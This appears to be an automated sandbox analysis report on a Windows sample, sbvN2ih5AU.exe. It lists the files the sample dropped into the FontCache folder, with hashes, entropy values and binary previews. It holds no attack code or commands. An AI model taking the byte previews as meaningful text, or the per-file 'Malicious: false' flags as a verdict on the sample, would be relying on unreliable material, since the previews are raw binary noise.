Preview:	{.. .t@h2..WB..j1.B!.....q'9...2..5...V..c.....K.....G...;..h.U..EP.V..u..BB.l...E.>.WTz..d-j..z....j`.a.........._".i/.hO..Q.]..~....q.<........s......@....>...}j.YO'.......7.....\|.l.XF.>#.G.CAR....\|...q.....F.k.....>.Z..}Q.pk.B...U..n.... ..".=....9.j..C\|;.J.D).S.]4...uJ\..Ll..3.9..^;1..'^!s.2{..[.. .J^.6...6...(...3{........wEU4...^Y....N!F..F.).#...w.?.+.D>:+.@.N...q......p..m.H..Df.Bz......?...[....."..6%.~"._....5.5.jqY...S...Sz..(...^....;......w..^E....n."M.....D.....F....s..%5....}.p....\p7joo.+;1.....?...B.....LZ.(..\|.c...{.P... j8..Eodn....q.j.N.cC).._.'Z.V ...#<_3...W..Jc=5...l.s..h...fr....%!.?<.^G. 4\|.z.bz.W.,.....Rrr...z6`.......X.....h..1....r.R.e..7....h.. ..aO.....6.8Z..~~.3.....y.....".S.$w..a7!..........>..4..?..9....~..%.1.t..u.R..Xt6..[]..Y.1.Wb......3.L......Ny...r.:......H.).,v.m..4.cn....b.B...'..]...5+.........d"..wsl.B..s......157n.UWt.E.~.3..i...g2...3X.V,._.b..P.v$.....XV.......W..w..kYa...,..>#W.,....(...

C:\Users\user\AppData\Local\Microsoft\FontCache\3\ListAll.Json

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	162608
Entropy (8bit):	7.978517451530515
Encrypted:	false
SSDEEP:	3072:0F8pbwsYrzn1Yk5yYOMVOLUnet3u4ayfh/sFGnRGhJtW:0F8pbwTP1p5yVMwAneUy59GhfW
MD5:	D63629EB0AA3BA015181F8A3D590CFCB
SHA1:	33E09E81BAB5E1F22557CAB374AD8F8043151053
SHA-256:	B9C23A5B09AAD92C97E609555E32AD58526743D7B230B93ECC0292140C5FBA03
SHA-512:	3869E1961E492E5F68BC6CB0E58367C025676517A321B196D46D5CD2CDBB164EBE83C399E40E03AAF3D7CD071767E11DF4324BF6AC79352F039ADD7CFD0EFDC1
Malicious:	false
Preview:	{"Maj\...h..._.......z.l......Q$H...@S$.e4P.o..../........[.>.....z.X....1;....x.9.1Y..T..6B.v."@...Ll.A..2....M..r.k.....D.ut..........?...6....;,,..&.........W....Q.CX<f.<.,..:.....T....4G..FW.....w..I7...Bd.8..ur>m.K.~.m.aP_..hs.~...Bz...\........&.....D@.....1........(.v....~_..I....0&.C..)J.....4..d.../!..4..D.a.:"SL.H4.p./2:..d{...qj,............K.q.]..b...Q.).&?Kt.)...(.G}.\|O..;...d..H.oR....vd.M.`...y.M.x?$q...J..;.X..e}5.a...........OT/...gf...{c..+.;....T...s....@...a.G...pG...K..u....;A.p.x...R.......[*...;y~(..e..$A.G.A...q.(.........HC....U`..n.Jjh....3pv..FG.._.w....d.b.o.6..y..l.`..k..2......s..m....O..J.T....4q...R..E.[...-8..1..@.n..K...!...D..l...Y..#....9{h:~..!)D..v#..>.?.....R....].U.........r.Q..C..].!..j.t?......N......`j}. .....D....g......&r:).<g?..L1.]......].......a..^.RymC..t..".v6q.Vl......:.;.!9.......I(..dP....6....e.y.M....U..R.F.c.Z#.x{.B..^+,,e...........S...f....c.>..Z..8B.3pm.{.....[.8Z.%iG.....r

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CatalogCacheMetaData.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2203
Entropy (8bit):	7.91662864241505
Encrypted:	false
SSDEEP:	48:uS+FXWSPVkh+44hgWPXdXbUuYTV+L3RxzjK2U9RrND:ENx9e+NTlXbUuYR+TRdKRR
MD5:	4540B43D5D23A5AC078AE7E5E5DA7C21
SHA1:	49D2E6BD0B4DA2586ACEA7AE6F684B419D5135E7
SHA-256:	B80FAEED92827DDB0559B0BE9D85339964E6EC5E6AB225B23B975E69F16F820D
SHA-512:	383496D797DF74552C0751BB819C127B56A6AD12E665077F5C58C5073514B2ED380DF23A3B45ACF0392FA10CC5F494BD0BE1AEF11123173CAFEE6F406A146C82
Malicious:	false
Preview:	<?xmloz._.....x...3...=..........7..nU8. ....e?....3&.sc<.H..x..4[....[...nV..d...\X....M;9.4S..aaT.d.......e+..Q.R .1.l.y"^....M<<.zn....RN..].o.].k.Z.oi...`.2!...%eo..}..m..;JTp.............K....Eq....D..,...R.A.......Z....Z....Q..].......M.@...L.=..:.......y. ..^...I#{c...<.....v:. ......=4.0..(T.7.?.....5_@p.J.m,..Q1?k.v..v....f..x..<+....y.=..W2C....CB ...?..D..,.kR.+rEn.yonD.%..h.....8..{..2.TI.d8n..................O9p.9q....D;.1=..OVLL....$.K..."=...2)+......H,...c.k.4.K..G.P.....A.w?`.Q...!....n....Ot....;.d.\|..M.........1O.D.+."%..F......5.Z..1..Lcj.[.rHQoF{.......l.V&...(2xi!.^.6o.'...@U._..^...G8......h..QW..R.......%.....Tc&..k...o.l..T../1.H.aX.....Y.....'R}...u>...Y9....\o..@......$..\R.h>..^].I.c.y..9:W..A..En..5...BV..@....f...h.k... ...9.%1.../......?..).\M.I.6jy..f.%D.F....D.9...ad.`..I~Q...,J-q..~_..~....x.>...H..#..*4D. D-Ov.F_~.;.B._.J.T.[....r.M.Zm..PdlR..9.....].....y..8.5E.(.".B.3..b.........dP.Z.SA....>D.L.....`...I

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Display\23001069669.ttf

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	238254
Entropy (8bit):	7.233514400105089
Encrypted:	false
SSDEEP:	3072:2x8SIE6lPgDIgqHNRWaWLjJnY/7W6SQEYJuG9/wrZqBreukIa2Nppd2z5f9F9CNS:2xVIE6lPpRNqNnh6SQJDzSAaa/dIDiAh
MD5:	266B979B45C62B4C2C96EB6E7BF25759
SHA1:	E8ACA576F5CEA7578F568708F6EC360C2BEE7496
SHA-256:	910737F530C18DA9FFAF1AB305A78A6A090C698C648400418B4CD66738BAB7E7
SHA-512:	0280CB97EDF19D4A6E533413AB95BE839D7898C05E15274BCF4FA5F4DA3C3BDAD2535144C034FAB16D9AD407FCB49AAE94192A35A7AC9B3F2654D047660A23D7
Malicious:	false
Preview:	..........~X....?..m....&f.O.E............[......f....K_.0.$G..~.....:..jp.H....p..'.w?I........$...... T.o..@....o5....!...K....@g.q...5b....S.......,..@.......l........g..!u..^.Ag. .... .\,..F4c..oT.w;...v....Qv,..a..CJl..9..v....%....r...2.. x....M.c.&.j.J.....%.8.^..?...H.{.<...W.R.2o"...u.B9wh~..9..S..4..+lF..%J.JqJL.^..M.a...2'e&.o.e{.{./.....]......Ad).~0.Z.n......s.l4hV.z..jC....`.J.[..P.0W..FD/...M..../.+.X...l .........y.g.r.H7.Wq........L^z.t......V.....K.......b_'_5..../.>..-[..+..4..u.4b....s~.96.m.......C.+..B^.0.a].B....T.nO.7Z.6s8w.M..@....G..Y......i.m%.=C.e.tQ...L.mU..A.(8b.h....C.<xb?)...~0...HB.B......+.....~g...Q.z:D.A..H...s.i..Qi.....+q....=.sC...k..Rx4b.e.i,R.......;.,.t....h.`...0...}.Sk.L....Q.B!..b..[&...:>..U.g.c...v.+)0......u..'.0$..r...E\eL.]...........4.,]...HD.7.H.Qt.a.$.........R....g_.1.A6..m.....QI.7..oK\j..Bg^(DW......%..9&.....,...Sec..=....$.6..<.......a2...V.Z...s>KI@....2&h,../.y.].1....kyU..L

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Display\28367963232.ttf

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	240882
Entropy (8bit):	7.264035525795171
Encrypted:	false
SSDEEP:	3072:2f4mti6nUIiqqHqRtKqRKH9abjH9/nXryDYxJPL3OTgzm6UI3UCriBWE1LpJCgtD:MXiyHKqUdabjHtyDQid6Uci5FYusEpt
MD5:	0DC7F843E5A06389B82423BD793FB085
SHA1:	6B96C550B61077CF58A44973156F89F74D664CF6
SHA-256:	FFF179D8462CB86E0CD88B3E7D70034615C5FB9CA3482B7E020679D4E9E42CAC
SHA-512:	5FFDE2D88CCB97EAD1DEBF6E1FB35A74201803EF8B49E1DAAC16CE9E310BCD59EDA6415707A2079271BAD5E326EE050A91A9602B04F42DA28FE00403D9076753
Malicious:	false
Preview:	.....[.t_.#.q....:-d../Z....G.2T.&.[.4=..6..V...z.f.,c,....h.......Hu.Z.u!8..g.R....R.@.-.s..Re%gr.~L:.._B.._.e...d,-.....y..5.....&.d....W_4.;.!......^..E.u^\|....w. `U.P.9...Y.F....YT....D.y........w.{o._.e.;p+.9D.a../{.eM....o@...s.D.O......hJ}$....@".3In@...f....E$:+.^..........~.d.DF....Q?.Zh.f.=.u....}i......s.x.....NC........O.O..(NY.........Wy...v.GP...q...r....p.)Q.s>....b......#,....z..h}..../.c.P.RV.0JP.\|...J.....z5.0...I.7..A...._.pa.\|K.\.t..k.-..PKg0...X.)V[.........6.>..o.K.V}...5P(.....{\|x....Z.u..=....!.A.%....sg...d.t.n.a..t."..5.I.Q.t.1g..s(.2..Qn$.H.L_.....&.T.!L......]......u...-....e.z...3.....BW....k....T..o2.9...l...../5...o>g.{..F@&./.......H..t.#..4G.............G..ZV`..GBH74.-.~...G4.L>.`..9.S.WVQ....Bp....T...>.S....?...rnpI.W.......\|18'G].....Qy..u.}..2n@.A.c.`^r.72.....]1.t..o.KM.....@.E.AN.Czj8..-...6CPxit.L...3.nS...A..o..R...H.....y..y&.{..d.[s^....8.].....e.2Y...Ep+J;a.j... .*...9.^Bo..T.`...h=........x

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Display\29442803203.ttf

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	241750
Entropy (8bit):	7.260178193087738
Encrypted:	false
SSDEEP:	3072:PQi6iSNlhRHmpLSkh4EnkebsWTJoCt/A0fSYAbCZwthTqEVZa9NUFrEsWTqPvnhf:YaKlhlCSikesXCVfdWVhra9WAsWSvq2d
MD5:	7D8C35A5C654C3956A2D2DD9A41E77A4
SHA1:	A1DD67093C6FFF29E88B2D168D967B1019BF1189
SHA-256:	EEAE26BA2E8044C22755467946F6777B110E50FE1385C697DDE245CF8F28C3AE
SHA-512:	DB13368DC6EDBCF73D68089BD68852F7DC68E3D6C61601B3CD62357681285E896E18F18D3238798E3748A3DA7E5D97C4C364B346D38C7F24101DC09357CCDEB6
Malicious:	false
Preview:	.....uc.+U........N..B..}..Kq....B.h.'.....p....^wr..dt.Z..q[...<.....]..X.i......j:..bc.p...K_..7..{.......%B.t...Kx;/D.h...h.6.D...\.AC.....#.+....N^.8.}.g}._...=....d.s.\....$.}p.s..d..GL.O.o..&<.f^..A:g...7.....4.&xt..B.c^~........ %.....>...2.....r..p..{n...a...Ef.....#.h.>.)J...w....C.o..._+.H)....,4...2.r{......`WT....P.%...r..h..0,.,.../.d.c.r-2R]..A.....J[.O..).I........}:.R...o5...>....s.....r........cO...VYm?....q.4..e.8'....B..B!.7.]G..>.y..;.........u..FM/.<.;.......l.].)Z....hFJ!&P.#....P.9.&+Wi.SZ..].^. Nn...g.2.s..z.&DZ....n....A.`vk....^..TX.`..!...4..x/..^hE..o......rI(4..+j#.....j...S.GP...I.#..xwU.E.2\....S..\|.\z.........b@.......~w.yW.a!.76}..B...<.w.....$.I.`..$).x....p..4;.[.\|.`W.u(.E.....N.;........"..L?M..0i.!..h..k..).3.O....Q..l.3..qP]..r.....\|[&F.z..G.Bf.....i...........M^.a.FT.^.g....I....\.....?n.........z.}..XU.X.....d...f..j.m~.t..v...Ob..@.....5..u.XY</q......&.M.V+.x..w.?.5.E.*.....0_.........

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Display\30264859306.ttf

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	238962
Entropy (8bit):	7.235043958940429
Encrypted:	false
SSDEEP:	6144:nBDf+IdF+NIEztm6Ak6G+vGPxBvdb/tDpA9:BDf+DRm61FYGrdpq9
MD5:	171896BE042D4B58DE0804FC5BCBFA03
SHA1:	00EAEAC845E15D00B0E064D2FA30294C2A16983C
SHA-256:	01D52635833C7199CBA9308F1246EA65176FEF81B3CE1EE0A933F8F786FB4B25
SHA-512:	0F9B91CFD1E56B9E8ACB46F17232514E736BBE073EE16D34ED69BB3370D203342D4AFCDDD9C39C38C06B298F316BB92CFFF637D44D7E9CACF57B2E692582ADAD
Malicious:	false
Preview:	...............nT@.mg.....Q....m..m..x.....{z.Y...j.t.Q..>....2......,.h..F7......wR..~y.`8AV...P.1..../..Y[/.!.B..2z....b..XX.&v.Z^.4....wE...."...p&Z.K...j[.....34P.[+..=.c..`%x..^c........$......$.E....d.D...1^}...SRu..S.~...RP.. q!...EBS....Fh..../..g.=xz.&"...E._d#.p.o.........\|>.....<A.>.'.].ii.X.cCB....2=.9..+.avW$....e...x..~t8..N..of...~F.,.&.s...0?..8.}...e0.MVE..9....IHS.....!Z.....N.:.......T....7....6.'B.R. ......E..\|[ \......p.?a....;l..........\|i..6;.1v....7C].wt..n`Z.Z....]8.0O?4...i>.....g/kA....,.....e..<.c?.l..../AK....@....X.yi...i.....\|......_;...b.G.......p:.ww:.....{cy@....6.f.."....a.....L.5.n..]?)v7S..?w.....v;%.YG../...~vs.O.m*.q..w[...2V..i".P.&-m...]..N.."M...e+..<.....>..}.,?..g..Z.....k.g.._7;...w1.c0..R.c.5GPVk.UI..;).F..)...4.kA\|......}.YQ...g...?.....2.8TO...#s..6..o......6...N..........E..}r.5.^.G.$N....c.kd.R~.....%.s.cZx.2)..........[...A\g.Xx. ...h...0J.B...)d.0.@C.ql..@...^.7uc....

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\24153076628.ttf

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	237902
Entropy (8bit):	7.237779385111726
Encrypted:	false
SSDEEP:	6144:bX31mfGVqYwm0KsBC/Qvk8j14fHUlzsuV4icD:TcfxYX0KLgfj14clznV4jD
MD5:	0DA8C2744265D0DAF6B96D256DFFB85B
SHA1:	1E796987D7E653896E60AA97A27C90ECC50346DF
SHA-256:	8317AD5263B3E0881E4829E07179B2BC6B8BCFC1C2A00C84527C38010C4274CC
SHA-512:	C54A9DBA05E91E5AC0E4343239E9A2C4F3DF4DAA959626BB890648ED311B61C0AC3CBB8850A395F4B2731315A071C8C5D9A9E10124770A5A5D8605398493D797
Malicious:	false
Preview:	.....#T5W0..(}..z..Q>..q...r.L...x..X:r....oD...\..w..R...d.R@.7.y.1..C./Q...e...b.).`@....j)..P._0&t.!..G.....2....&...?..`..$.L...../!&......dk..Dn..H.v..A.C..9.j#!h..#.L4.._..bz.....{............>!?.Q...L..K....V...L.J.YY.4.......h.s.B.?..p.w.(......B.B....#....s1.l.q.._O..*.u...kH..\..'.Y-..h...g..$.........;.e=/:...~CnL.....C..._..c+...:.,..JB...L>..@....U.^.`0.WQ..'.%...u\|v.y...f..n....].../.b.T..G4.... .t....f..V.\E.....x_U.7...9i....t.....w..z..<...z?........4`. ...+di.."..&....I$ ..g..+.....!:.d.o._..-...}.U...=6...X..b.e..9....i7.Q.....hv..\|.q._.:h9{.}.........d....l...^....}...R.6..9i#c...p;\|.g.c ........... ......C...9..b<C....5\...`\.N../(..o@wm..r!....!..U.f....3..M{...3...........>....YJ..[?.U1...jK..L.[.. ..JD?.\.@{.SC.1.R.!V.28.....I..g.\|.M............9..V ...K._.c..^.PJ.V.....p..S..F.J...".<....,.phd.$..)...`-. U.i^q.%.....$BoG)h.T.(.T5...1}..4.........CP,.'....D....KH.i:.@..+.^,Q.l...Q.....ZS..Q...@w.......

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\30284701761.ttf

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	241378
Entropy (8bit):	7.258444765477287
Encrypted:	false
SSDEEP:	6144:6+m/MbalIweHIzRIpZQDBsY9vdD/IasMOphDtPcwBL:FkealiIRIUbD/BgJtPcO
MD5:	BC10C765F30242C90EFCC07454FC4DC3
SHA1:	3B01F1EFC4BD9236D27FD47B6E4D2DE1B897B5A9
SHA-256:	0A61A46EBEC57A3B87DEB4ABCA11B874D1ABE861C49A690114D8B0E21597AE3D
SHA-512:	A6A54211B75B1B72EB853B59ACEFE0AE3F1D7B4A3BC947A3505817D6FB9F3EEC5C34E68EA038BA70FF6721BA563FD40F3D5299C0B9CFFCE34B16DAECD9336805
Malicious:	false
Preview:	.....L......{.......r..X..i...a....^4.../.T...D..?..]Zg.<..zQ......P......I=>....q,.\|......B....&.![<tt.+..3...p.a...s...rg...H.........X..hV..j.AX.C]....v.....wY'....{rep}....a..c.......vr.@ab..+XuB7..{mS.1H.~.[...7....@....7.z.:.Q.=a ....P"h1..~d..V.>.O~.....{.qe....G.....J&\|.<Dk./.sR.awRI.i..3.?;...W..........iYvL.....R.i:5..c.<..&O..*.B]..V.3....$...\|.Z.V.f.....EcX>!.Y...H%.d.[.y..Y...UD.,.}A.Q.j....i...l......FLhf..I.. ...'MKhre.!.@..K...e....X..5...&..]L.K.O.CS......\..=.!9...`..o.J<....M.....VkK..8.d:.(m......wC.<....B.0..o....<..."O`.rb......a.te`6...y.....2.[c{....F...t..N{..w.....E.J.e.x.CH...S...%.,2..R4............L05~H.hq...-/..p.x%.Q.e...;.W.K....l[{y.U[@...2.v..."8........OI..cX8Z....R:[m...K....B.C...Z.E.k..y....}..[...x../.)...(...K.q....j.....]I.M4l...P.v..W.<J....-.....c2M........[d.,..t......4...kU.'.6..........}...A.Gr....mQ..+s.........P. }.V.D..........uQ.p......o.o. #{SO....2.@wJ.....YJA.....z.E..`....z.~

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\31558910439.ttf

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	237738
Entropy (8bit):	7.239951262442481
Encrypted:	false
SSDEEP:	6144:sUzEEC6EmPkyDBKt3i/9EDeANPTmdqjcw:sWETyDyS/OB49w
MD5:	2FF1E8C48C9504C47763929E32B9F091
SHA1:	2B9808D1A946620A58F70A8D5D77823899E269D8
SHA-256:	C67D3835501ED8CAA14CD228B712D69CF0727D7EE2ACC3C277B225A5C54AA971
SHA-512:	474805B175C8BF3B2166E31C11D97C4220F0CFF4FE0E386826D8060B270B1F1D8D4431DA5EAFC776FE158D03765F4C4B9E9580AF19F38F96E66EAD3FC303BA82
Malicious:	false
Preview:	.....uy:...6...)..?......'oI.gk...8bG....{.?.X.....2.I-P._.J..t{...i..{.F.O..P...@.HB.Q ....([......P.f$(.Q.,.....HO......6..]..".....y..`.....A...~........./uS".....JF.....>.25q^.\|...CS.UO.D...\|.u.[_.Z..X..s..Y\|$.ta....2..}.... .;vg.2..t.c.m.....e.%.....[..A..G..>.G...J...P.I.y....+.u5....\.6..` .n...T....k.Qg..!.....d.>._..b.]ys ....q.......i@3...!..yg.I.9.Y..7...3.w..V.?..={.}..RU....X....p.[.i.......l....a=f....R......U1py...I..0....u.>....R..NDW..k....e....W.M..2.I....x.Zr....w\|.7;..dVdi....eH...jI\.N,.m..&..K...z...p.q.......m..o..]X.x..N}..MR... !=g['.+DO../.D4x...a........:...K..1.th'....W.....D@...{.\.+Z.=D....R.B.j1c.CK..X*/k.MQ@.j.`>Fhn$0.5..>..h.]I(..M...VCL~....#;...d.6yCA.i..r.c.v....KT...w.......C.-...HI[.~..s...t...;Dj.9....-..'.t.ZN.-.`..q......CC..`.{.}."........B.aN.o{.y....f.iR..?N.._.MG....u..5X..p..]../%6d......._.......t~GD;A.{.!j....[~d.'..Wkz.r.n...ci....T.NJlN.O.....3.1....!.K.s..bd....RN."KD......3.T....S...^.

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\37262344671.ttf

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	240706
Entropy (8bit):	7.2643948526638065
Encrypted:	false
SSDEEP:	6144:vswG72KUfK0/R9n2tEgXkAs48sQlw1PfktQ6yqU/qk:vWlclr6kAsOQlOkTyRD
MD5:	252D85DBC21BF84E3C797DA898E55D80
SHA1:	9EC41B454D41F339EF3DEEAA7932923646C98CD6
SHA-256:	31B597F7C71622EC698926A0E516988E0852D9F9F9E6F3A023B24700E6F9DE1F
SHA-512:	09E9BD77536C6E96AC29C7D504B644863453CF3351CD2C7D2AADE104D2494F2008566F29B33C590B1BFB8052DEE2C0DBB44418CC22E1D64BA13A1F21AFA41E1D
Malicious:	false
Preview:	.....u.L.,?..N..6..].........Q.V.6H#...E.`4.&Y.h2.b.y..b..1H.W.s.J.l.Z..l.?.R...v.g}$.{2..`.-.<..[TO.f,;...v.....2.a..e..r.......y.4.........P.L..4..1..N.....m........a.)...m...Mb.~.....\|.....d..P.E.....y.p..k%SY3".8\...)..\..!.A.Csf....n...Q.....4....`Y.......y.5...5{...9..<fy..(..l..V&7...k..8...O....D$.K:.u.Xo.W...{)....?...;W..H/v....4P..0~l..W..3..I3..V.~Ok...i.Vts....b.dA.+.la1%..^.\|T+..1.~uw.......^QP....\w."o.x.&-....\|i.q..P..&#$..>D.......D&EUx....?A.........o"..n..(^.H.Ak.t.....f.._6]...~sMK.t......>...p...m.[.n..E.J...........VE0E...>1.....Y..%..~....0&..LeCr)....O...!.{.....3.,J]&rj...uz......{.t....Y@&..n.N.... ....B.c}p..WZ ......]..# l..._ij...Pel.....8.H....t.....{.....j.....H.H`y...[\"B.\....&.x....&..}....#.9...0{`......v...o..7..,.d;.=....!...x...&6.O.....!QT....3.nU{r2/...x....:.. C.?.pk.fTG.8{.V4w.._..2..=g..4.......l.+.bn..&.uD,.....^.'......D.k'....X`.z..>4.j.....sd..C\|....q-...L.6P am.....-ml....

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos\27160079615.ttf

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	238518
Entropy (8bit):	7.234341556524742
Encrypted:	false
SSDEEP:	6144:t2oK2WN/WavngN4ptU6+KsiQxvdb/LIAL:H5WRAat+Ksbd3VL
MD5:	BA7EE29EADF963E576A146546503AC13
SHA1:	33EA65092F887187E7342271EABBAC9F113B7978
SHA-256:	4AC6FDF0F101498F714FE4AD68EEB224D724AC9102E44F73C16BFCEB8EA01AF7
SHA-512:	B5087038B33D63B9C316E2A56F9249DC496DA5D46F8AF1510F3B484C2E9D1ED0B8AFBB5745AE919E5F7115AA43DFF2BF3A5C907CCCA05D06D7EF26DEEDD18D13
Malicious:	false
Preview:	.....x..{.V.'.D....f.........c.......>h.:.........} ^...h=r(............F....L#s.z;J\|W,.G...... ..4l......[....&...@.M..\...y.k[.G^.U.X.)X..M..........6.Ak,.[.....d.b....."...BD<....(0.8T......y...o.....c..$q.\|l.....g.D.ez.`.......r.....%...n...n.........9.......oY.....G.67...&.v...Jk.J......U.......i9.....Eg.._9.......W.[./i....o.v...c.e..].C.D.u....(.tL..Q..3.e..Q...29....;..........)f5i......%5..GY!....P.X.A...J..p.? ....R..3. ...]1l.,.4...x.i.q.[.d.P.2...V.....3..\|..E.(O.?...v.t.r}...%....WN..............\y..lDGU.c...7.W.Q/..."H_"..I T..#......EG..w...UU.U...+.P......W`8g......9I.n....f..Hv....M..6V..D.,....K.!Z=.s.....E.F..m.N'.'.s.k..S...Sp0.9.j7]....;]7J....O.g<3o.@m.&.U......FooUU.<.^.I...j........m..f...A.rh.[..k...$....s=g.6......s..5...^.d.).N..u..,....Pv"..rD..SBb..$.r.._uS..m........>.4.?.>..Y..Q.uC...D...n..K~.....6D.Y\ .\n]&..@...:...8.5..\|A...D.......b. )Z.......W.z.V.p2.=z.U.i..7{..C..-\|.,L.f._.bt........

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos\28315153308.ttf

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	241282
Entropy (8bit):	7.260434656323572
Encrypted:	false
SSDEEP:	3072:pocYmmsUSOs1F9kcZNACxGbDUhx09wn2EfTQfrmcfcOuTikbjYAeHrMXe+XRKIvi:po/e1kcZGCxTDfTQzm+FuNfG0e+Vi0m
MD5:	396513B389B9A4E13EB8BFA9144C9A75
SHA1:	596D4FC9647A7FE249A715FF265E2B96755DD99C
SHA-256:	B9609691D52FDECDCE6713E88E831DE907120DDFF28F193582450F1B549A1459
SHA-512:	6E8F9C4851CDDF41C8BB605374022C8FAD3D949CE09FA4C3437C109FCF94D8EB63B3E6E75C7656DF823F55FF6B2B7CD13D24770C863C4295EADEAA85ABBE42E3
Malicious:	false
Preview:	.....Q..'%..\gm^.]F)F.,..F0..N.EC..(.k......Z_......s.7.\<..l2.{.........Im...h.G..Y...1A..J#z.R_..1XW.....z......5a.....&h...7...?.....>.3&cl\~.........i...xNtj`........n8Z.....D(v.w$\..y...YH\|\..N.....=rDs.N..lNt./.....w.C.)....<3A..0.Y.e${KY..b.T!.u. [F4...?..1...#.1y;.$..8..JnG.-;.iN......k.`L...6.x(.........\|..v.<.....).....AC..R1..iN.x......@:.......r.....q._lC.....J..../t......_\F. }B.,p..{=.4S.D......<F.9k.v..._P.\..j..g.T.S3......Vs=.C.DB"...8.5bf.....R% ...[.Z;m.....bL.Z."..&..5.XD5..:L...[47.l..u..tW;J...;.o.fj..v...7e.\.=.....]....6.6..r,......;..$L.1.(R.....Y8<.r.....vnI.R..........u.)....F%\|..^O.Z...;.)q...I,.Gh...l.;G..@b.).uX............L.'..oQ.4.....rH.TuF$.`A..[E.......l......O.@IoNh.G-..[8...k..T.,..5;.88#=......9........k.p..)5.b42E.".$Da.h..s=..R.F.\.o.R.a..N...~Z...y.....l. ..J.....D9U..g..s.....A...f.#.wA..^...[...pp\|.V..}..b.Z.z$.$L.[.A.....z...`..$.(..1....G.=.{ ...q..{N.1.<..\|...[.2.'.P.........d..P.D..7..\|....

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos\29939506207.ttf

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	237946
Entropy (8bit):	7.231932207767093
Encrypted:	false
SSDEEP:	6144:U5A9y/gsMfqRm2HUmzWSumXJrQOa/dKF2AA:U5AIa1UHzWStXmKVA
MD5:	C42C549B6D8B3230B0A6670B93875743
SHA1:	C3FC7B8BC5DE8CDDDEE9535B5C274EC0336B269D
SHA-256:	9CCFDC35AB533AB832BB87825AED061D30F70ABBC9CDE4ED5336BC1DCE0B87A3
SHA-512:	C3C50E25BCDA5C6F73FF7A96ADF82135FBE31C0B786DFC8CC61D07EBEF459FC18732246ADC49E116161D87E731170E43E05689BD5DDFA27CC46A70F8047BB8C0
Malicious:	false
Preview:	......Z..\|.u.R.=...os.y..Da4iz....- ,.-..K.b.rd.).).....I.e...<. $3..&/...4.M...._KF...G.....<..W...p...a9P..r2.v...".Mf=..h...4.#.\0]....ea.O8...N..~.O-...D...]._...B.!.G..J...>..k..F.W..F..!....<..:.o.^.j.}..f....l...:{K&](.o?...M/x.+...(.-.T...2..G...6..Y.....58:c=!y_.s..9......f=R.'.r.jk...8si..a.\|_.......6.+N...Cs.....8..7`.....).g.-1.......:.n...y......"u....M.0...).X..En.RH.i.DPI.q.7..8....z$...H. .l....n......#."..4.Q.\|..bW..E.m...bj`...b.wJ.Ul...m...+..}...2...4...9..Z...ip.....*..ML.SV.Wq....L.L.>.$...~.Q.z.(..=..%.Y..[/..ju..Q...6...?..m......x'...v...^....2x\.3..!....,.w....:.%Ce......k...O.....y..\|.....XYf......_tD.MSl......Lm...wC.?h......_f..........xw.O..3...#....e...@.qe...Q.A....75.Jo..I...}oP..c[.............J.............&..PZ...@.P..i.....v....L...u,...t.......... .g......X.....\|......W...:.O..eC.I.. 4.uMn.\.%.).,7%&.d1#e.\........--.....J..;5Hu.u>..yo.j{f{...8.'..i)"."..+....../....;B..h..%gy`u....W......

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos\31169036496.ttf

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	240470
Entropy (8bit):	7.265193005818741
Encrypted:	false
SSDEEP:	6144:tidhXiWOBANt+ZzBoMt7B23HnEmx4gB0hC+w1DB5Q:tiLi3qNtGoMjekUlZk
MD5:	A04CB19C5511CE793B888D53E3C6C24D
SHA1:	FD429E3082619F4C2875F22D737D0DFB41F51794
SHA-256:	6B1079A46322DC08BFE335610E8A125603AF3D5E106CC4F7419B8B4184A28899
SHA-512:	DEAEE62D7A95958A02A9894BF9723E4DDE141BA509FD7A13A9A2DD1294F6BA587488FA70C7BA4E825A36AB0F44C8E3B234D25558E2113B980866310DC6433BC8
Malicious:	false
